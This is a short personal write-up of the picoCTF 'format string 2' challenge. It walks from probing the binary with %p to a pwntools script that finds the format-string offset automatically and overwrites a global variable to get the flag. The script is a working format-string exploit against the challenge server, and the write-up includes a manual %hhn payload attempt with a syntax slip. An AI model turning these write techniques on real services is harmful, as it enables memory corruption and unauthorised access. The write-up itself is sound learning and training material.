goho-m


picoCTF fomart string 2 writeup

posted on : 08/12/2025

i first started by noticing the very obvious :

    

       You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
%p
Here's your input: 0x402075
sus = 0x21737573
You can do better!
    

... clearly it's a format string attack - i'd never done this before so it led me down the wonderful path of trying to do it by hand with:

    

  p.send(p64(66)+b'%hhn'+p64(6c)+b'%hhn'+p64(61)+b'%hhn'+p64(67)+b'%hhn\n')
/

%102c%hhn%108c%hhn%97c%hhn%103c%hhn

    

i read more and more about it and got deeper with this wonderful resource here! read it! and quickly realized i was very in over my head with this. it talks about having to use some weird - ass math to get it to properly caluclate everything with the offsets ( 256 + c = v, but if it's over, it;ll roll over the c to v allowing you to write your value) which amde me then go searching. the hint provided is 'use pwntools' so i started to look for format string stuff on pwntools, lo and behold, they have a library. one quick sccript later:

    
import pwn; from pwn import *
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
context.binary = ELF('./vuln')
context.arch = 'amd64'
p = remote('rhea.picoctf.net',63163)

p.recvuntil(b'?')


def send_pay(payload):
    p = remote('rhea.picoctf.net',63163)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(send_pay)
offset = autofmt.offset


pl = fmtstr_payload(offset,{0x404060: 0x67616c66})
p.sendline(pl)

print(p.recvall())
    

i got my flag! that was agood intro to how format string attacks work, and it's really nice and useful to have this under my belt.